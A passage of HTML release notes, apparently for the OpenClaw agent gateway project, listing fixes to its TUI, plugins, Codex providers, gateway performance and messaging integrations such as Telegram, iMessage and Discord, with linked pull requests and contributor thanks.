<p>TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526651884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87000" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87000/hovercard" href="https://github.com/openclaw/openclaw/pull/87000">#87000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508988920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85786/hovercard" href="https://github.com/openclaw/openclaw/pull/85786">#85786</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528777005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87108" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87108/hovercard" href="https://github.com/openclaw/openclaw/pull/87108">#87108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526678539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87001" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87001/hovercard" href="https://github.com/openclaw/openclaw/pull/87001">#87001</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519059143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86614/hovercard" href="https://github.com/openclaw/openclaw/pull/86614">#86614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</p>
</li>
<li>
<p>Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep <code>onDiagnosticEvent</code> exports discoverable through <code>Function.name</code>, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510573276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85936/hovercard" href="https://github.com/openclaw/openclaw/pull/85936">#85936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526051671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86977/hovercard" href="https://github.com/openclaw/openclaw/pull/86977">#86977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528108015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87069/hovercard" href="https://github.com/openclaw/openclaw/pull/87069">#87069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521793733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86771" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86771/hovercard" href="https://github.com/openclaw/openclaw/pull/86771">#86771</a>)</p>
</li>
<li>
<p>Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama <code>top_p</code>, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528562037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87096/hovercard" href="https://github.com/openclaw/openclaw/pull/87096">#87096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347364384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73950/hovercard" href="https://github.com/openclaw/openclaw/pull/73950">#73950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527698191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87049/hovercard" href="https://github.com/openclaw/openclaw/pull/87049">#87049</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520410864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86689/hovercard" href="https://github.com/openclaw/openclaw/pull/86689">#86689</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</p>
</li>
<li>
<p>Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest <code>PATH</code>, and bootstrap raw AWS macOS Node/pnpm commands through <code>/usr/bin/env</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526462111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86997" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86997/hovercard" href="https://github.com/openclaw/openclaw/pull/86997">#86997</a>)</p>
</li>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" href="https://github.com/openclaw/openclaw/pull/86994">#86994</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</p>
</li>
<li>
<p>Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.</p>
</li>
<li>
<p>Agents/replay: repair legacy tool results before replay, preserve <code>sessions_spawn</code> transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455095754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82203" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82203/hovercard" href="https://github.com/openclaw/openclaw/pull/82203">#82203</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524958838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86934/hovercard" href="https://github.com/openclaw/openclaw/pull/86934">#86934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527204031" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87025/hovercard" href="https://github.com/openclaw/openclaw/pull/87025">#87025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Agents/sessions: handle active-fallback failures in <code>sessions_send</code> so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519588215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86638/hovercard" href="https://github.com/openclaw/openclaw/pull/86638">#86638</a>)</p>
</li>
<li>
<p>Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512136564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86101" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86101/hovercard" href="https://github.com/openclaw/openclaw/pull/86101">#86101</a>)</p>
</li>
<li>
<p>Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520169285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86677" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86677/hovercard" href="https://github.com/openclaw/openclaw/pull/86677">#86677</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516861602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86476/hovercard" href="https://github.com/openclaw/openclaw/pull/86476">#86476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527248275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87030" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87030/hovercard" href="https://github.com/openclaw/openclaw/pull/87030">#87030</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522614131" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86818/hovercard" href="https://github.com/openclaw/openclaw/pull/86818">#86818</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518201643" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86559" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86559/hovercard" href="https://github.com/openclaw/openclaw/pull/86559">#86559</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
<p>CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527294921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87031" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87031/hovercard" href="https://github.com/openclaw/openclaw/pull/87031">#87031</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503181039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85387/hovercard" href="https://github.com/openclaw/openclaw/pull/85387">#85387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522554669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86814/hovercard" href="https://github.com/openclaw/openclaw/issues/86814">#86814</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525826501" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86964/hovercard" href="https://github.com/openclaw/openclaw/pull/86964">#86964</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.</p>
</li>
<li>
<p>Telegram/network: treat <code>ENETDOWN</code> as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521478619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86762/hovercard" href="https://github.com/openclaw/openclaw/pull/86762">#86762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473919972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83873/hovercard" href="https://github.com/openclaw/openclaw/pull/83873">#83873</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502811207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85361/hovercard" href="https://github.com/openclaw/openclaw/pull/85361">#85361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513918910" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86299/hovercard" href="https://github.com/openclaw/openclaw/pull/86299">#86299</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4460513299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82642/hovercard" href="https://github.com/openclaw/openclaw/pull/82642">#82642</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504709372" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85475/hovercard" href="https://github.com/openclaw/openclaw/pull/85475">#85475</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520556743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86705/hovercard" href="https://github.com/openclaw/openclaw/pull/86705">#86705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520562136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86706/hovercard" href="https://github.com/openclaw/openclaw/pull/86706">#86706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521775849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86770/hovercard" href="https://github.com/openclaw/openclaw/pull/86770">#86770</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/homer-byte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/homer-byte">@homer-byte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swang430/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swang430">@swang430</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</p>
</li>
<li>
<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
